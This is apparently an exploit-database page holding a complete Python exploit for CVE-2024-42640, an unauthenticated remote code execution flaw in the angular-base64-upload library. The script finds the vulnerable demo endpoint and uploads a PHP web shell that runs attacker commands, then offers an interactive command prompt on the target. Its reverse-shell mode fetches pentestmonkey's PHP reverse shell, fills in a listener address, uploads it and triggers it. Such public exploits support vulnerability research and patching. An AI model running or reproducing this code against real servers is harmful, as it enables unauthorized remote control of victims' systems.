9ddf81331a
10 changes to exploits/shellcodes/ghdb TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption TP-Link VN020 F3v(T) TT_V6.2.1021 - Denial Of Service (DOS) Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE) Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation compop.ca 3.5.3 - Arbitrary code Execution Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.08.02 (deployStart.php) - Unauthenticated Command Execution ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal AnyDesk 9.0.1 - Unquoted Service Path
180 lines
No EOL
7.3 KiB
Python
Executable file
180 lines
No EOL
7.3 KiB
Python
Executable file
# Exploit Title: Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE)
|
|
# Date: 10 October 2024
|
|
# Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9)
|
|
# Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9)
|
|
# Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload
|
|
# Software Link: https://github.com/adonespitogo/angular-base64-upload
|
|
# Version: prior to v0.1.21
|
|
# Tested on: Arch Linux
|
|
# CVE : CVE-2024-42640
|
|
# Severity: Critical - 10.0 (CVSS 4.0)
|
|
# Github Link : https://github.com/rvizx/CVE-2024-42640
|
|
# Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html
|
|
|
|
import re
|
|
import subprocess
|
|
import requests
|
|
import sys
|
|
import os
|
|
import uuid
|
|
import base64
|
|
import cmd
|
|
from urllib.parse import urlparse
|
|
|
|
|
|
def banner():
|
|
print('''
|
|
|
|
\033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit
|
|
\033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9
|
|
https://github.com/rvizx/\033[0mCVE-2024-42640
|
|
|
|
''')
|
|
|
|
|
|
def check_version(target):
|
|
response = requests.get(target)
|
|
first_line = response.text.splitlines()[0].strip()
|
|
match = re.search(r'v0\.(1|0)\.(\d+)', first_line)
|
|
|
|
if match:
|
|
version = match.group(0)
|
|
x_value = int(match.group(1))
|
|
if x_value <= 20:
|
|
print(f"\033[94m[inf]:\033[0m target is using a vulnerable version. [version]: {version}")
|
|
else:
|
|
print(f"\033[91m[err]:\033[0m target is not vulnerable [version]: {version}")
|
|
exit()
|
|
else:
|
|
print("\033[91m[err]:\033[0m couldn't find the version")
|
|
|
|
|
|
def enum(url):
|
|
print("\033[94m[inf]:\033[0m enumerating... ")
|
|
target = f"{url}/bower_components/angular-base64-upload/dist/angular-base64-upload.min.js"
|
|
r = requests.head(target)
|
|
if r.status_code == 200:
|
|
print("\033[94m[inf]:\033[0m target is using bower_components")
|
|
check_version(target)
|
|
else:
|
|
print("\033[94m[inf]:\033[0m target is not using bower_components")
|
|
target = f"{url}/node_modules/angular-base64-upload/dist/angular-base64-upload.min.js"
|
|
r = requests.head(target)
|
|
if r.status_code == 200:
|
|
print("\033[94m[inf]:\033[0m target is using node_modules")
|
|
check_version(target)
|
|
else:
|
|
print("\033[94m[inf]:\033[0m target is not using node_modules")
|
|
print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for dist/angular-base64-upload.min.js")
|
|
print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")
|
|
print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")
|
|
print("\033[91m[err]:\033[0m exiting..")
|
|
exit()
|
|
exploit(target)
|
|
|
|
|
|
class CmdShell(cmd.Cmd):
|
|
username = subprocess.check_output("whoami", shell=True).strip().decode()
|
|
domain = urlparse(sys.argv[1]).netloc
|
|
prompt = f"{username}@{domain} > "
|
|
|
|
def __init__(self, payload_url):
|
|
super().__init__()
|
|
self.payload_url = payload_url
|
|
|
|
def default(self, line):
|
|
url = f"{self.payload_url}?cmd={line}"
|
|
try:
|
|
response = requests.get(url)
|
|
print(response.text)
|
|
except requests.RequestException as e:
|
|
print("\033[91m[err]:\033[0m {e}")
|
|
|
|
def do_exit(self, arg):
|
|
return True
|
|
|
|
def exploit(target):
|
|
print(f"[dbg]: {target}")
|
|
target_server_url = target.replace("dist/angular-base64-upload.min.js","demo/server.php")
|
|
print(f"[dbg]: {target_server_url}")
|
|
payload_name = str(uuid.uuid4())+".php"
|
|
if len(sys.argv) > 2:
|
|
if sys.argv[2] == "--rev":
|
|
revshell = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
|
|
print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")
|
|
ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")
|
|
port = input("\033[93m[ins]:\033[0m enter listenter port: ")
|
|
print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")
|
|
input("\033[93m[ins]:\033[0m press enter to continue...")
|
|
print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")
|
|
response = requests.get(revshell)
|
|
if response.status_code == 200:
|
|
payload = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input
|
|
with open(payload_name, "w") as file:
|
|
file.write(payload)
|
|
payload_url = upload_to_server(payload_name,target_server_url)
|
|
print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")
|
|
r = requests.get(payload_url)
|
|
if r.status_code == 200:
|
|
print("\033[94m[inf]:\033[0m process complete!")
|
|
else:
|
|
print("\033[91m[err]:\033[0m something went wrong!")
|
|
print("\033[93m[ins]:\033[0m please check the listener for incoming connections.")
|
|
else:
|
|
print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")
|
|
print("\033[91m[err]:\033[0m exiting..")
|
|
exit()
|
|
|
|
else:
|
|
payload = "<?php if($_GET['cmd']) {system($_GET['cmd']);} ?>"
|
|
with open(payload_name, "w") as file:
|
|
file.write(payload)
|
|
payload_url = upload_to_server(payload_name,target_server_url)
|
|
cmd_shell = CmdShell(payload_url)
|
|
cmd_shell.cmdloop()
|
|
|
|
def upload_to_server(payload_name,target_server_url):
|
|
try:
|
|
with open(payload_name, 'rb') as file:
|
|
file_content = file.read()
|
|
base64_payload = base64.b64encode(file_content).decode('utf-8')
|
|
|
|
headers = {
|
|
'Content-Type': 'application/json',
|
|
}
|
|
|
|
json_data = {
|
|
'base64': base64_payload,
|
|
'filename': payload_name,
|
|
}
|
|
|
|
response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)
|
|
print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)
|
|
updemo_endpoint = f"uploads/{payload_name}"
|
|
print(f"[dbg]: {updemo_endpoint}")
|
|
payload_url = target_server_url.replace("server.php",updemo_endpoint)
|
|
print(f"[dbg]: {payload_url}")
|
|
if response.status_code == 200:
|
|
print(f"\033[94m[inf]:\033[0m payload is uploaded to {payload_url}")
|
|
return payload_url
|
|
else:
|
|
print("\033[91m[err]:\033[0m something went wrong! failed to upload the payload to server")
|
|
exit()
|
|
except Exception as e:
|
|
print(f"\033[91m[err]:\033[0m {e}")
|
|
exit()
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
banner()
|
|
if len(sys.argv) > 1:
|
|
url = sys.argv[1]
|
|
print(f"\033[94m[inf]:\033[0m target: {url}")
|
|
enum(url)
|
|
else:
|
|
print("[usg]: ./exploit.py <target-url>")
|
|
print("[usg]: ./exploit.py <target-url> --rev")
|
|
exit()
|
|
except Exception as e:
|
|
print(f"\033[91m[err]:\033[0m {e}")
|
|
exit() |